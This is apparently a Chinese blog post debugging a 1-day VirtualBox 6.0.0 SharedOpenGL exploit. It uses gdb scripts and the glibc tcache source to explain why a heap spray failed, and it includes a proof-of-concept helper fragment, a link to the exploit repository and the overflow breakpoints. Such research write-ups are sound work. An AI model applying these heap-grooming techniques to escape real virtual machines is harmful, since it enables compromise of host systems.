但执行完后,通过 gdb 脚本 打印 VirtualBox 里面的所有的 pBuf 和 pData 的结果如下:
输出中 /
前面是内存地址,后面是该内存地址所处的 arena,可以发现 pBuf 和 pBuf->pData 在两个 arena 中分配,且 pBuf 和 pBuf->pData 都是按照 0x30 递增的.
而 pBuf 和 pBuf->pData 的分配是顺序的
pBuffer = (CRVBOXSVCBUFFER_t*) RTMemAlloc(sizeof(CRVBOXSVCBUFFER_t));
if (pBuffer)
{
pBuffer->pData = RTMemAlloc(cbBufferSize);
第一想法就是两次分配之间使用了不同的 arena,但是给两次分配的位置处下断点,打印当前的 thread_arena
break *(svcGetBuffer+179)
commands
printf "svcGetBuffer before 1'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
c
end
break *(svcGetBuffer+206)
commands
printf "svcGetBuffer before 2'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
c
end
但是发现 thread_arena 没有发生变化.
既然 thread_arena 没有发生变化,那就是有其他线程往里面插入了块,但是这个如此规整两端如此规整的地址,又觉得有点奇怪.
在申请 pBuffer 处下断点,使用 gdb脚本 查看当前的 tcache 和 arena 里面的 fastbin 和 smallbin:
可以看到每次断点断下来后, tcache 里面都被插入了一个其他 arena 里面申请的内存块,翻了下 libc 的源码如果线程释放了一个其他线程申请的或者从其他 arena 里面申请的内存,如果 tcache 中有空位,会把内存块放到当前线程的 tcache 中.
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
那估计是在当前线程的某个地方把 0x30 的块插入到了 tcache 里面,给 tcache->entries[1] 下内存断点,定位到写 tcache 的地方
相关代码:
/** Deallocate VBOXHGCMCMD memory.
*
* @param pThis The VMMDev instance data.
* @param pCmd Command to deallocate.
*/
static void vmmdevHGCMCmdFree(PVMMDEV pThis, PVBOXHGCMCMD pCmd)
{
if (pCmd)
{
if (pCmd->enmCmdType == VBOXHGCMCMDTYPE_CALL)
{
uint32_t i;
for (i = 0; i < pCmd->u.call.cParms; ++i)
{
VBOXHGCMSVCPARM * const pHostParm = &pCmd->u.call.paHostParms[i];
VBOXHGCMGUESTPARM * const pGuestParm = &pCmd->u.call.paGuestParms[i];
if (pHostParm->type == VBOX_HGCM_SVC_PARM_PTR)
RTMemFree(pHostParm->u.pointer.addr); // 释放指针参数的内存
if ( pGuestParm->enmType == VMMDevHGCMParmType_LinAddr_In
|| pGuestParm->enmType == VMMDevHGCMParmType_LinAddr_Out
|| pGuestParm->enmType == VMMDevHGCMParmType_LinAddr
|| pGuestParm->enmType == VMMDevHGCMParmType_PageList
|| pGuestParm->enmType == VMMDevHGCMParmType_ContiguousPageList)
if (pGuestParm->u.ptr.paPages != &pGuestParm->u.ptr.GCPhysSinglePage)
RTMemFree(pGuestParm->u.ptr.paPages);
}
}
通过前面的分析, pHostParm->u.pointer.addr 用于保存 HGCM 的指针参数,对应到 poc 就是 alloc_buf 的 msg 参数:
def alloc_buf(client, sz, msg='a'):
buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
return buf
hgcm_call 进入 VirtualBox 后会在 EMT-1 线程为 msg 参数申请内存&拷贝数据,然后进入 ShCrOpenGL 线程处理完消息后,调用 vmmdevHGCMCmdFree 释放之前为参数申请的内存,由于 tcache 的机制,导致被释放的内存块会进入 ShCrOpenGL 线程的 tcache。
回到 poc 脚本中 heapSpray 调用 alloc_buf 传入的 msg 为 nop_msg() 返回值,大小也为 0x20,最后的解决方式就是设置 msg = 'a',这样就只会涉及到 0x20 的 tcache bin,不会对 0x30 的 tcache 造成影响.
https://github.com/hac425xxx/VirtualBox-6.0.0-Exploit-1-day/commit/f251a5fa537dbd9246ccc7cb9b8f369bedd8221b
修复之后
追踪 connect 和 disconnect 的内存分配
gef➤ i b
Num Type Disp Enb Address What
1 breakpoint keep n 0x00007fc20e9c67d0 in crVBoxServerAddClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:647
breakpoint already hit 4 times
2 breakpoint keep y 0x00007fc20e9da4c0 in crServerDeleteClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:181
breakpoint already hit 3 times
printf "free client: 0x%lx, client->conn: 0x%lx\n", client, client->conn
c
5 breakpoint keep y 0x00007fc20e9c683f in crVBoxServerAddClient at /home/poc/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:661
printf "add client: 0x%lx, client->conn: 0x%lx\n", newClient, newClient->conn
c
相关断点:
break crServerDeleteClient
commands
printf "free client: 0x%lx, client->conn: 0x%lx\n", client, client->conn
c
end
break *0x7fd269ce883f
commands
printf "add client: 0x%lx, client->conn: 0x%lx\n", newClient, newClient->conn
c
end
disable $bpnum
break crUnpackExtendGetAttribLocation
disable $bpnum
break crServerDispatchReadPixels
break crservice.cpp:693
disable $bpnum
break crservice.cpp:693
commands
printf "alloc_buf buf:0x%lx, buf->pData: 0x%lx\n", pSvcBuffer, pSvcBuffer->pData
c
end
break crservice.cpp:409
commands
printf "svcFreeBuffer pBuffer:0x%lx, pBuffer->pData: 0x%lx\n", pBuffer, pBuffer->pData
c
end
break *(svcGetBuffer+179)
commands
printf "svcGetBuffer before 1'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
c
end
break *(svcGetBuffer+206)
commands
printf "svcGetBuffer before 2'st alloc, thread_arena: 0x%lx, mutex: 0x%lx\n", *(unsigned long*)($fs_base-112), *(unsigned int*)(*(unsigned long*)($fs_base-112))
c
end
溢出内存分配点
b crServerDispatchReadPixels+262
b *(crServerDispatchReadPixels+257)
[^1]: ## SharedOpenGL 模块分析
[^2]: #### 使用服务
19 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!